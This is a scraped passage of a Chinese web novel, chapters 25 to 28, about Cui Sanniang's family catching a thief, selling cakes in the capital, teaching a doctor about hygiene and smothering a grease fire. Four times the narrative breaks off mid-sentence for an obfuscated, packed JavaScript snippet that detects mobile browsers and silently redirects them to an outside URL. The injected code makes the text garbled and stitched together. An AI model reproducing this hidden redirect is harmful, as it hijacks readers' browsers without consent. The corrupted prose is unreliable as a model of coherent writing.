崔三娘懂老太太的心思,崔家穷怕了,崔家爷爷和爹爹走得早,林氏性子不够强,老太太一个人支撑门户,当然有些钱就想存起来,这样才能在关键时刻拿出来花用。
“奶奶念头转过来就好。”崔三娘上前笑盈盈的搂住老太太,“不过,您刚才还嚷嚷着要揍我,为了报复,我一定要给您扯块最花俏的料子,让你在村里出尽风头。”
崔老太太夸张的捂着心口:“哎呦呦,那不成花老太太了,像啥样。”
屋里诸人都笑作一团,小安安被笑声吵醒,哼唧起来,桂氏要抱孩子回屋喂奶,临去前对崔三娘道:“我和你哥有冬衣,不必做了,给家兴添件褙子就成。”
崔三娘还要说什么,桂氏先拿话堵住:“说真的呢,家里人多,钱不禁花,等往后钱宽裕了,再说。”
“嫂子,你太善解人意啦。”崔三娘说着要抱安安,“你还在月子里,不能累着,我帮你抱回屋。”
结果崔大郎抢先一步:“我来我来,你明日要进城的,早些睡。”
望着大哥大嫂相互依偎着走出门去,一个抱着安安一个牵崔家兴的手,一家四口有说有笑,崔三娘心头暖融融,这下真是吃了满嘴的狗粮。
-
一夜好眠,准确的说,是半夜好眠,因为不到五更天,崔家几个主要劳力就都爬起来了。
和面的、烧火的、提水的,几人对各项流程早已熟稔,皆有条不紊。
待天边翻起鱼肚白时,一阵阵好闻的香味已顺风四散飘开,那滋味儿是那么香醇浓郁,几乎能叫人想象面点柔软鲜美的滋味,多吸几口,甚至会产生唇齿间已在咀嚼的错觉。
“嘶,他妈的,真香。”
崔家院墙外,不知何时已藏了个暗影,这影子鬼鬼祟祟,正扒拉着崔家土泥夯的矮墙,透过一处缝隙往院子里窥望,不过,天只蒙蒙亮了一点,院里有树有杂物,在一片暗色中瞧不见什么,只有浓浓的食物的好滋味,一个劲的飘来。
崔家几位这段时日一直往村外跑,每天凌晨灶间就飘出香味,这两样一联系,任谁都猜得出,他们在做买卖,只是具体卖什么,大部分村人不了解,虽然有好奇的跑来打听,也都被崔老太太冷脸应对过去。
“呸!”眼见看不到有用的东西,又想到这家人老的老,小的小,那黑影顿生恶心,往掌中吐口唾沫,寻了处好借力的地方,手脚并用的向上攀爬。
这泥夯的院墙只有半丈高,年久失修,这会子不住的往下掉墙皮。
很快,那黑影就蹿到了墙头上,这会儿崔三娘几人正在往筐里装饼,灶上一锅白米粥正咕嘟冒泡,崔五娘在看火,崔老太太打开碗柜取泥碗,谁都没留意到院里细微的动静。
“咚”的一声,黑影从墙头跳到院子里。
崔老太太在给大家盛粥:“大家都喝碗粥,吃张饼,暖呼呼的进城去。”
黑影躲在暗处观察片刻,见无人注意到他,顺着墙根往灶间走,他越走越近,已经能透过灶间的小窗望见里面的人影。
黑影看清了灶间内的情景,见全是女的,又想崔家日日去赶集去卖东西,应该攒了些钱吧?
一旦想到钱,他就再也摁捺不住,村里大部分人还没起床,他蒙头进去抢一通,谁能发现?谁会出来追他?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480631|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>说干就干,黑影抽出怀中两块黑布,将自己蒙个严实,只露出一双闪着恶意的三角眼。
即将推门闯入的刹那,一双手突然拍在黑影肩上。
“你是谁?!”
一声爆喝响彻整个小院,崔三娘一惊,忙推开灶间的门往外看,只见崔大郎穿着中衣,正和一蒙头蒙脑的男人在院里推搡撕扯,那男人一看就来者不善,且无论崔大郎怎么喝问,就是不发一语。
崔大郎不如那男子强壮,但胜在个子高,将那男子的一只胳膊扭住,使其挣脱不得。
“啊!”
突然,情形有变,那男子从腰间抽出一把匕首,朝崔大郎刺去,崔大郎忙撤手避开,那男子胡乱的又挥舞几下,将崔大郎逼退几步后,才扭身朝院门奔去,他扯掉门栓,几乎是蹦着往外蹿。
“哇啊!”
门外响起一声夸张的喊叫,崔三娘听出是崔云南的声音,他大概是说服了爹娘,一早赶来要与他们进城的,崔三娘立即大喊:“那是贼,有刀!千万要小心!!”
说话间,她往灶房外跑去,并对崔老太太喊:“奶奶,看顾好她们,别出来,外头危险。”
崔老太太心中那个着急呀,但一听坏人持刀,心中害怕极了,忙带着其余家人待在屋内,透过窗户瞧外面的动静。
崔大郎也追出院外,崔三娘选了根称手的木棍跟了出去。
“你谁呀?鬼鬼祟祟干什么?!”
追到院门外时,崔云南已将那人给制服了,崔云南的舅舅会拳脚功夫,崔云南好跑动,曾跟舅舅学过几年,虽学得浅显,但他身子壮实力气又大,寻常男子跟本打不过他,且这黑影狼狈逃窜,压根没料想会撞见人,一时无措,被崔云南轻而易举的反剪双手,死死摁住。
崔三娘蹙着眉:“怎么问你都不吭气,莫非咱们认识?”
说着一把扯下那人蒙脸的黑布。
这时崔老太太见外头动静已平息,正跨过院门走出,一见到那人的脸,顿时气不打一处来,挥舞着手中的柴火棍,劈头将人揍了一顿,边打边骂:“好个金家!怎么养的儿子,半点教养也无,平日就偷鸡摸狗,现在还做起贼来了!看我不打死你!”
原来这黑影是村里一户金姓人家的大儿子,叫金大魁,上回嘲笑柳木森“玩屎”,被崔三娘怼过的金大宝正是这黑影的弟弟。
金家在黄石村人丁算旺,零七零八加上,得有三十多号壮劳力,且内部特别团结,谁家若有事,呼啦一下三十多号人就一齐出面,仗着人多,往往不占理也能得三分便宜,早就惹得人怨人怒了。
崔家和金家本就有旧怨,这下又添新仇,崔云南梆梆给了金大魁几拳:“叫你偷,叫你偷!”
这金大魁原抱头蹲着,紧咬着后糟牙,一副凶像。
崔三娘一直握紧木棍紧盯着他,生怕他突然暴起,场面失控,可金大魁抬起头时,脸上却露出羞愧的神情:“别打了,别打了,我有错我认!”
26. 第 26 章
崔老太太揍累了,将柴禾棍一扔:“你知道错?稀罕,错哪儿了?”
金大魁扯扯嘴角,露出个比哭还难看的笑:“崔家奶奶,你是长辈,我是小辈,您是看着我长大的,据说小时候你还抱过我,我不知好歹,平时逢年过节的,也没登门给您请过安。”
崔三娘眉头蹙得更深了。
只见金大魁继续尬笑:“今天的事,纯粹是个误会,我啊起得早,鼻子长,闻见你家这香味特别馋人,越闻这肚子越饿,和有小虫在爬似的,就想着过来瞧瞧,若……嘿嘿,若能吃上一口就更好了。”
说着挺挺腰:“我荷包里有钱,你们全部拿去,算给你们赔礼谢罪,这事,就这么了了呗,崔家奶奶,下回我绝不会私自翻墙进来了,我……我是怕吵着你们,这才没敲门的。”
崔老太太迟疑半刻:“你说真的?”
“当然是真的。”金大魁点头如捣蒜,“我年纪小,做事情莽撞,您大人不记小人过,原谅一回,我荷包里有半吊钱呢,全都孝敬给您,给您买酒喝,往后年节,我还提上礼给您老磕头请安呢。”
崔老太太没说话,上下打量金大魁,似乎在思考他说的话有几分真假。
好个能屈能伸的金大魁,崔三娘忙开口:“别听他胡诌,误会?动刀子也是误会?这事必须报官!”
崔大郎点头:“三娘说得没错,有凶器带伪装,绝非一时兴起,怕是蓄谋已久!”
崔老太太抱着手臂,看看崔三娘又看看崔大郎,啪的一声,给了金大魁一耳刮子:“请安,磕头,凭你也配登我崔家的门,走,到村长家去!这官非报不可!”
崔大郎这时开口:“奶奶,这事交给我处置,你们今日要进城的,不要耽误功夫。”
崔三娘也惦记着进城一事:“对,大哥是衙门里的,对这些事再熟悉不过。”
“对对对,为了这样的烂人,不能把正事耽搁了。”崔老太太对金大魁翻记白眼,随后对崔家诸位道,“莫耽搁时间了,咱们这就出发。”
崔三娘从崔二郎的房间寻了麻绳出来,崔大郎和崔云南配合着,将金大魁捆了个结实,崔三娘又凑到崔大郎耳畔:“恐怕要多找几个人壮士气。”
崔大郎点头:“我会找二爷爷一家,也会去柳家借人,还有舅舅家舅老爷家,都会通知到。”
经过这么一段意外插曲,天色已微微发亮,他们不能再耽搁了,崔三娘将今日要售卖的吃食,一齐搬运到了崔云南推来的板车上,那上面还有崔云南家里要卖的一些鸡蛋果蔬。
“出发咯。”
有板车拉运东西,崔三娘觉得轻松很多,她仔细看了看板车的构造,全木制,驮运两三百斤的货物完全不成问题,若崔家置下一辆,今后往来做买卖会轻松许多。
不过——
崔三娘自从骑过柳家的马以后,就梦想着要买一头骡子或者驴做代步和驮运货物的工具,虽然价格昂贵,但人总要有梦想不是?
秋意更浓了,在进城路上,他们穿过了一片山林,只见泥土路上已积满了落叶,风一吹,林里全是树叶飘落的簌簌声。
崔云南蒙头拉车,他已拉了大半的路程。崔三娘招呼姊妹们:“我们帮云南哥推车,让他轻松一下。”
“好呢。”“来了来了!”
崔四娘崔五娘头一次进城,全都兴奋不已。
崔云南低头在肩上擦额头淌下的汗:“不用推,我拉得动。”
话是这样说,可是崔三娘怎么好意思让崔云南一人出力,于是崔家姐妹仨用力推着板车尾部,大家继续走在进城的路上。
肩上的压力一下减轻,崔云南终于有空问出憋了一路的问题:“干啥不要金大魁的钱,半吊钱呢!可以买多少东西啊,他还是个惯偷,没准那半吊钱都是偷来的!”
崔三娘被问了个哭笑不得:“那钱怎么能要,能么敢要。”
崔云南也太憨了。
正暗暗腹诽,偏偏崔四娘也一脸天真的开口:“为啥不能要,他偷偷爬墙,赔我们钱不应该吗?”
身边的崔五娘瞪大眼睛,同样好奇。
好吧,崔三娘觉得有必要解释一下:“金大魁既然是惯偷,说明从根上就坏得厉害,岂会轻易认错?他说给钱赔礼,那叫缓兵之计,恐怕我们前脚拿了他的钱,后脚金家人就会堵门倒打一耙。”
崔云南惊得眉毛一跳:“他会这么不要脸?”
崔三娘丢去一个“你觉得呢”的眼神。
崔云南思考半刻,回想金大魁一惯的做派:“嗯,他确实很不要脸。”
“他真坏。”崔四娘出声,“幸好三姐没上当!”
崔五娘年纪小,没太听懂,但将崔三娘不要轻信别人的叮嘱记下了。
望着好好学生一样的家人,崔三娘很欣慰,尤其对崔老太太的英明很感慨,崔老太太挽着竹篮:“我吃过的盐比金家小子吃的米还多,蒙我?再活一百年吧!”
一路说说笑笑,到城门前时已过了辰时,日头早升起了,今日是好天气,明媚的阳光普照在城垣上,城门口排着等待进城的长队。
按照律法,寻常百姓进出城门无需纳税,但商户不同,入城时要缴纳商税,他们今天推了板车,按律缴了五文钱商税,得了一张盖了红戳的税据,崔三娘将税据折叠好,小心的塞到怀中。
“卖梨,新鲜多汁的香梨!”
“卖炊饼咯,咸口的、甜口的都有,好吃松软的炊饼——”
已是第二次入城,崔三娘不像第一次那样好奇激动,倒是崔四娘崔五娘俩个,看着京城整齐轩昂的楼宇,宽阔的青石街巷,听着络绎不绝的吆喝声,那叫一个激动,看什么都新鲜,简直不知该先看何处。
崔三娘微笑着:“咱们先卖货,等卖完东西再逛京城,到时姐给你们一人十文钱,想买什么就买什么,好不好?”
“好!”“三姐你对我们太好了!”
俩小丫头高兴的直蹦跶,崔三娘揉揉她俩的发顶,招呼大家寻了处宽敞的地方,开始规划行程。
崔云南以前常跟崔二郎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480632|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在城里跑,对京城十分熟悉,他要推着车去西城的菜市卖果蔬和鸡蛋,崔三娘则要去杜太医医馆送山楂糕,崔老太太带着崔四娘崔五娘先在周边兜售卖饼,等崔三娘送完山楂糕回来,视情况再作安排。
“那我先走了。”崔三娘提着个竹篮子,冲老太太和姊妹们挥挥手,往前走了。
她的竹篮里除去一包山楂糕,还有二十来个南瓜饼,即黄金糕,崔三娘一边赶路,一边吆喝。
这时正是各衙门上职、各学堂即将上课的时辰,崔三娘吆喝得响亮,不时有路过的行人停下,匆匆买上一块黄金糕,付了钱又匆匆吃着走远,有的还嘀咕:“快些,就要迟到了!”
看来踩点点卯这习惯,是不分时代不分世界的,崔三娘想笑,又觉得无奈,到底什么时候才能不匆匆忙忙,而是按照自己的节奏过日子?
“姑娘,我要一块!”
容不得崔三娘感慨,一个穿澜衫的士子站到身前,递过六文钱,拿过糕转身就走。
崔三娘顺着这位士子离去的方向一看,发现那是一条窄巷,巷子两边都是围墙,尽头才有人家,挂着梅氏书院的木匾额,瞧那样子规模还不算小,不时有士子匆匆进入。
她干脆站到了巷口的桂花树下。
“卖黄金糕哟,吃了黄金糕,步步高,只要六文钱一块!”
这一日,梅氏书院不少士子都买了寓意步步高升的黄金糕,有的只是图好寓意,没想到吃起来软糯香甜,实为意外之喜,只是下完早课再到巷口去看时,那卖黄金糕的小姑娘早不见了影儿。
这是后话,再说崔三娘在巷口站着吆喝片刻,篮子里最后剩下的黄金糕便一售而空,这时书院内铜钟敲响,大概是士子们开始上课了。
于是崔三娘愉快的提着轻巧不少的竹篮,继续往杜太医医馆走去。
走回主街,街面上行人络绎不绝,崔三娘也就放缓了脚步,悠闲的享受着街景。
望着古色古香的建筑,看着朱廊彩画,心情格外自在。
眼瞧着再过两个街口就到医馆门前,崔三娘忽然看到前面有位须发皆白的老者,正在一饭馆前张望,像是在等人,那老者眼皮上有一片赤色胎记,崔三娘忽想起崔大郎提起过,和他同一值房的朱姓吏人眼部便有胎记,若记得没错,也是赤色。
莫非那老者就是大哥的同仁?
崔三娘心思电转,心道真是凑巧,便又多瞧了几眼,原只出于好奇,可看着看着就觉出不对劲。
大哥说朱姓吏人年老昏聩,已不顶事,可这人精神矍铄眼含精光,一点也不昏聩,莫非平日是装的,好诓大哥多做事?崔三娘一时无法忍受。
摸鱼可以,但不能损人利己哇。
哼,这精明的老鬼!崔三娘闪身站到一处水饮摊子后,假装等人,实则偷偷打量情况。
另一边,一乘小轿落下,一位脸色蜡黄的中年汉子下了轿子。
那老者忙迎上去:“曹老大,你终于来了,可急死我了,快随我进来,大伙儿都等着呢!”
27. 第 27 章
“热水!快!”
“银针取来,再熬一盏浓参汤来!”
崔三娘到医馆时,医馆里正在进行一场紧急抢救,一位产妇在家生产时遇到难产,被家人抬到医馆里来,陆凝雪撸起袖子拼力施救,终于使产妇母子转危为安。
处置完一应事务,陆凝雪才有空到前堂见崔三娘。
崔三娘一直待在前头铺面里,虽没有站到产房中,但只听传出的动静,就能想象那场面有多危急。
“陆大夫你真厉害,救人一命可是大功德。”
陆凝雪疲惫一笑:“产妇家里也是没招了,听说我给人接生过,才抬到我这里来,幸好没叫她们失望。”说罢重重叹口气,“女子生产,实在是闯鬼门关,我有一位表姨,人特别好,就是因场后大出血去世的。”
心中一恸,二人一时无话,陆凝雪啜了几口茶,自嘲道:“瞧我,和你说这些做什么,你还是个孩子呢,让我看看,这回你带了多少山楂糕来。”
说着她起身往柜台走,随即惊叹一声:“做得真漂亮!你不知道,你做的山楂糕在咱们这条街已是畅销品,好多有孩子的人家专门来买,如今你做了这么多花样,只怕两日就会售空!”
“那太好了,下次我多做些。”崔三娘也高兴,山楂糕单价高,又能放,是目前最挣钱的吃食。
只不过山楂是寻常东西,原料容易得,技术难度也不高,恐怕过不了多久,市面上就会出现仿品。
恐怕还得想法子再做些创新。
崔三娘交完货,原本该去寻崔老太太她们了,这时陆凝雪倒了杯菊花苦丁茶来:“喝些茶水再赶路也不迟。”说着很自然的取来一碟糕点,用崔三娘原本包山楂糕的帕子包好,轻轻搁在她的竹篮子里,“这个留你路上吃。”
陆凝雪才十八岁,不过比原身大五岁,一举一动却极贴心,颇有邻家阿姐的温柔气。
崔三娘心头一阵暖热,有些话原犹豫踟蹰,不知该不该说,这时心一定,郑重道:“小陆大夫,我有些话想对你说,我们到后面厢房去讲可好?”
“当然可以了。”陆凝雪温柔一笑。
崔三娘一直犹豫要不要将一些现代的医学常识告诉陆凝雪,比如说细菌、传染,以及女性卫生习惯、孕期营养健康以及产后护理等知识,这些对现世人而言是常识,对古人来讲却惊世骇俗。
她不想被当做妖异看待,也害怕暴露身份,更担心即便说了,对方也不当回事。
可陆凝雪性子是这般随和,又非常善良温柔,且她自幼钻研医理,尤擅妇科,如果她能接受这些知识并用在病人身上,岂不是莫大的功德?
崔三娘定定神,同陆凝雪缓缓说起。
“我二哥遇见过一位番医,曾亲眼见这番医救人,医术十分精妙……番医还和我二哥说了不少医理,我二哥听得有趣,就又告诉了我,我不懂医道,辨别不了真假,但上次救治被果核噎住的小儿,那手法就是根据番医说言操作的……”
“番医说我们生活的世界,处处存在一种瘴气,瘴气无处不在,尤其体弱之人,如孩童妇弱,更易被瘴气侵扰,为免瘴气入体,必须爱洁净,饮煮沸过的水,粪便污垢中瘴气尤其多,所以人所用饮食茶水,必须远离茅厕污糟之地,接触过污糟之物品,必须即刻用干净的水清洗……”
“患病之人,身上也会产生瘴气,健康的人接触了,被瘴气惊扰,极容易生相同的病,所以在照顾病人之时,须以纱布蒙住口鼻,不可与病人口餐同眠……”
崔三娘细碎的说了许多,陆凝雪听得认真,惊讶道:“难得你记得这般清楚。”
“呃——”崔三娘怔了片刻,“我二哥说得有趣嘛,我就都记住了。”
陆凝雪一笑:“你说得这些,听起来很有意思,而且,与我曾读过的一本古医书所述,有几分相似,莫非,这世上真存在一种普遍的瘴气不曾?”
崔三娘端起桌上半凉的茶喝了一口:“大概吧。”
陆凝雪思考了一小会:“那番医还说了什么,都与我讲讲。”
崔三娘忙点头:“好哇,那番医与我二哥投缘,同他说了好多呢,我把记得的都说给你听。”
时间过得飞快,待日光透过窗棂照到桌上时,崔三娘终于将自己所了解的医学常识,换了种古人更易接受的说法给陆凝雪说完了,陆凝雪越听越有兴趣,语气中透着激动:“夜晚我要将你说的整理一番,分门别类的记述下来,待我观测实践过,再将其编纂成笔记,寻京中德高望重的老医者看,听听他们的看法。”
崔三娘忙开口:“可别说是我说的。”
陆凝雪温柔的看她一眼:“说那位番医说得有道理,这是利在万民的大好事,你不必害怕。”
“当然是好事,只不过这些医理非我原创,我不过是传话的,而且我倒是不怕什么,只是不想出风头。”崔三娘解释了一番。
陆凝雪笑着点头:“那我明白了,待我整理出笔记,拿给别人瞧时,只说是偶然听游医说的,可好?”
崔三娘点点头:“再好不过。”
这时她探出头看了眼天色,暗道一声糟糕,老太太和两位姊妹还等她汇合呢,急忙告辞。
“怪我,只顾拉着你说话,忘记你还有事了。”陆凝雪吩咐一个小医童,“去牵马来。”
她要骑马送崔三娘。
两条腿再怎么快,终究比不上四条腿,崔三娘爽快接受了陆凝雪的好意,只是望着陆凝雪斯文端庄的模样有些惊讶:“没想到小陆大夫你还会骑马。”
来到这世界一个多月了,崔三娘处处观察,发现这里对女子的禁锢虽不算特别强,但经商、行医的女子仍被视为抛头露面不够高雅,至于在街上骑马的女子,更是不多见。
陆凝雪柔柔一笑:“骑马算什么,我七八岁就会了。”
这时那牵马的小药童回来了,嬉笑着插嘴道:“崔三姑娘,看来你还一点都不了解我家小姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480633|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她可不是娇滴滴的小女子,连我家老爷都说她剽悍着呐。”
陆凝雪嗔怒的瞪那药童一眼,接着亲热的挽起崔三娘的胳膊:“跟我走。”
-
崔老太太在黄石村也算一号难缠的人物,遇事不怕事,只管冲上去对骂推搡,是以,她没受过什么气。
可今日,这街面上两个小泼皮缠着她们,竟是怎么都不肯走了。
一个瘦脸的青年笑嘻嘻:“哟,这饼卖那么贵,咱买不起,给咱一个便宜价好不?一文两个,我买四个,老婆婆你看可好?”
崔五娘怒气冲冲的瞪过去:“你怎么不去抢?我们的饼要卖五文一个!”
“呦呵,小妹妹,你脾气怎么这么大。”另一个留着搓山羊胡的青年猥琐接话,“来来来,过来,瞧你小小年纪手就那么粗糙,到哥哥这里来,叫声好哥哥,哥给你涂桂花油润手。”
崔老太太老母鸡护崽子一样将两个孙女拦在身后,挥舞着手中的短棍:“有娘生无娘养的歪货,都给我滚,否则打得你们满地找牙,你亲娘都认你不得!”
回应她的是一阵轻佻的嘲笑声。
那俩泼皮常日混迹街头,以欺人占便宜为乐事,根本不怕骂,一惯泼辣的崔老太太一时也想不到用什么法子对付他们,只能一边怒瞪,一边护着孙女儿往另外一头走。
那俩泼皮却是不依不饶:“哎,别走呀,一文钱两张饼,你们别不识好歹!”
“到底谁不识好歹!”
崔三娘坐在马背上,远远瞧见这幕,先是震惊后是愤怒,陆凝雪忙催马走近,借着已高对方低的优势,崔三娘扯过马鞭,劈头盖脸对俩泼皮抽去。
见三姐来了,两个欺负人的坏蛋被抽得发懵,崔四娘崔五娘忙捡起地上的石头子,朝俩泼皮丢去,崔老太太积蓄已久的火气这时也爆发了,将饼篮搁在一边,挥舞着短棍猛打猛敲。
那俩泼皮被揍的昏头昏脑,哎呦哎呦的连声叫唤,等他俩抱头逃开,陆凝雪用马拦在崔家人身前,皱眉厌恶的说道:“你们是什么人,当街为难寻衅滋事,简直没有王法。”
崔三娘安抚着老太太和两位小妹的情绪,见她们没受伤也没吃什么亏,这才放下心。
那俩泼皮见形势倒转,不声不响的溜了。
崔老太太啐了一口:“我使全力舞的棍子,他俩现在身上一定是青一块紫一块,赶得上染坊了。”
崔三娘噗地一笑,老太太揍人的本领,她见过也领教过,做不得假:“我刚才那几鞭子,也不是吃素的。”
“那就好。”陆凝雪的眉舒展开,“你们几时回城,要不我喊人送你们吧。”
“不必。”崔三娘不愿再麻烦她,“我堂哥今日也进城来了,待会儿就过来同我们汇合。”
“那好,医馆里还有事要忙,我得走了,有事随时去找我。”
陆凝雪冲她们挥了挥手,目送他们走了一程,这才调转马头抖抖缰绳,骑马返回医馆。
28. 第 28 章
“今天生意倒不错,饼卖了大半,只是晦气的很,遇见这俩倒霉玩意。”崔老太太掸掸身上的灰,仿佛要掸去身上的霉运:“得了,不提不高兴的事儿,三娘,你一去一上午,是发生啥事了么?”
崔三娘便简略讲了医馆里的事,崔老太太直叹阿弥陀佛:“多亏了小陆大夫人善医术又高明。”
“云南哥还没过来?”崔三娘问。
菜市场过了正午生意就不好了。
崔四娘忙回答:“前半个时辰就同我们汇合过了,鸡蛋全卖光了,菜蔬还剩下些,云南哥见我们还要等阿姐你,就自个去买东西了。”
至于买什么,为谁买,想想那日崔云南腼腆的笑就有了数。
崔老太太左右看了看:“在这附近叫卖一上午了,咱换个地方继续卖吧。”
崔三娘点点头,又指着前头:“往那边去。”
那边有处军巡铺,这军巡铺有些像后世的派出所,一坊根据大小设有一个或两个军巡铺,里面有巡兵,负责本坊的治安,处理小的纠纷和治安案件,大案或者军巡铺处置不了的事儿,才会报到本辖区的巡检司那儿。
这些都是崔大郎说的。
到了军巡铺外,崔三娘见几个巡兵正在院前晒太阳,两个老些的翘着腿,已然睡熟,只有一个年轻的叼一截草茎,正扫着街景愣然出神。
“奶奶,这附近有茶坊有戏院,闲人多,咱在这处卖会儿。”
崔三娘的提议得到了崔老太太的积极响应:“好,这处人多,生意必定好。”
崔三娘笑了笑,她的篮子早已经空了,于是从崔老太太的篮子里取了一摞五六张饼,放在自己篮子中:“奶奶,四娘、五娘,我去去就回。”
见她似乎要往军巡铺的方向走,崔老太太急得一把拉住孙女的胳膊:“三娘你要做什么去?莫非你要为刚才的事情报官?那犯不着,我们狠狠揍了小泼皮一顿,算不上吃亏,再说,人家不会管我们这些鸡毛蒜皮的小事,咱普通小百姓,还是别同那些官家人打交道的好。”
每个世界都有自己的规矩,在大周,百姓们若无重大冤情,很少主动惊动官府,可崔三娘来自法治社会,早已习惯了有秩序且人人守法的生活,无端被小泼皮骚扰一顿,虽当场就报复回去,可心里始终膈应。
何况,不试试怎知巡兵铺不会管他们的小事?
“奶奶,你放心,我不会冒冒失失的乱说,就是去搭个话,然后相机行事。”崔三娘解释了一通,可崔老太太依旧不想放人。
崔三娘苦笑:“奶奶,咱们以后要常进城来,今天的事,不知以后还会不会遇见,总要探探路,琢磨一下长久应对的法子嘛,要不,让四娘陪我一起去,人家不至于为难我们俩的。”
看看孙女,又探头瞧瞧那巡兵铺,崔老太太终于点头:“好吧,那……我们一起去。”
一烛香功夫后,那叼着草茎的年轻巡兵猛的站起来:“那俩混蛋,竟然还敢惹是生非!”
原来今日遇见的小胡子和瘦脸泼皮是在巡兵铺挂了号的无赖,原说好了做线人,却一连多日不来递信,这几个铺兵正寻他俩,听说他们还在本坊里惹事,那年轻的巡兵拍醒身边两位前辈,急吼吼就要去找人。
崔老太太没料到是这场面,倒是她多想了。
“军爷,那俩人可猖狂了,你们若逮住他们,可一定要好好教训。”
年轻巡兵嘴一咧露出一口白牙:“老人家,你放心。”
崔三娘也觉得意外,从竹篮里取出油纸包好的饼:“这是自家做的饼,滋味不错,几位大哥赏脸尝一尝。”
“这不成。”年轻巡兵急忙推辞,掏出钱袋要付钱。
崔三娘怎么肯收他的钱,和崔老太太带着两位妹妹走开了,隔了几丈远后,崔三娘朗声道:“你们羁匪捕贼,日日辛苦,是我们最爱戴的人,几个饼算什么呢。”
“哎呀,这小姑娘可真会说话。”刚才睡觉的一位年长巡兵笑起来,“巡了十多年的街,还是头回听见这么窝心的话。”
说着拿起一张饼啃了一大口。
那是张辣味酱香饼,虽然已放凉,但香辣鲜甜的滋味直击味蕾,年长巡兵惊叹:“这饼滋味真不错!”
年轻的巡兵见了,也拿起一张啃一大口:“唔唔唔,真不赖,给我留一张,晚上带回去给我阿娘尝尝。”
走到一处街口,崔三娘停下数了数篮子里的饼,还有十多张,这时已是午时过后,崔家诸人早就饿得肚子直叫唤,若不是中途吃了饼垫肚子,只怕肠子都要纠作一团。
崔三娘心道这饼不能再拖了,得寻个好主顾,一次低价卖出才好,赶紧卖光,她们还得采购东西呢。
说来也巧,街边一处小饭馆里突然传出一阵焦糊味,崔三娘扭头去看时,只见阵阵黑烟顺着饭馆的窗户飘出来,探头一瞧,原来是锅起火了。
“咳咳,炸丸子就好好炸,开什么小差,你看你,一锅丸子都叫你浪费了!”
店主正叉腰喝骂,一边骂一边手忙脚乱的灭火,崔三娘一行人就站在饭馆门外,被飘出的黑烟熏得一阵阵呛咳,厨房有火有油,着火是常有的事,可饭馆里一年轻伙计居然从水缸里舀了瓢水,哗啦一下浇在油锅上。
崔三娘瞪大眼睛,想阻止已是来不及。
这波火上浇油的操作使得火苗呼啦一下增大数倍,店主和伙计身上都溅上的火苗,本就慌乱的两人三俩步蹿出门来,看着厨房愈来愈大的火势目瞪口呆。
“哎呀,都愣着做什么,快救火。”
崔三娘从窗外看了看,厨房的火势还在可控范围内,但若任由其发展,恐怕连屋子都要烧起来,忙冲进饭馆里,四下张望一圈,拿起后面一间厢房里的棉被,整个儿盖在了油锅上。
“我的天爷,棉花最容易着火,这不是叫火烧得更大吗?!”店主嚷嚷起来,但很快他就闭嘴了。
只间厚棉被一铺,火苗全都被压了下去,只有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480634|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阵阵黑烟顺着缝隙飘出。
奇了,棉被还真能灭火!
那棉被又厚又重,还硬邦邦死沉沉,崔三娘揉着酸痛的手腕,顺便给店主和伙计科普了一下:“油着火了切不可用水浇,那叫火上浇油!用沙土掩,或者直接盖上锅盖,火就会灭了,再不济,像我这样用棉被也好哇。”
“对,油上不能浇水。”店主懊悔的一拍脑门,“一时着急,我给忘记了。”
接着看着一片狼藉的后厨发难:“这下怎么好,有人叫了一桌外送饭菜,如今是做不成饭了,缺一道炸肉丸一盒煎饼,这怎么同客人交代嘛。”
揉着手腕子的崔三娘一喜,这不是瞌睡来了递枕头:“店家,我这里正好有饼,你看看怎么样?”
炸肉丸只是客人点的荤菜之一,缺也就缺了,不很要紧,煎饼可是不能缺的主食,店主看了崔老太太篮子里的酱香饼,揪下一小片尝了尝,眼睛猛的一亮:“很好,这饼很好,热一热就能给客人送去。”
他又问怎么卖。
刚出摊还温热的饼崔三娘他们卖五文一张,要的多或者像现在这样冷了凉了的,一般就四文甚至十文三张。
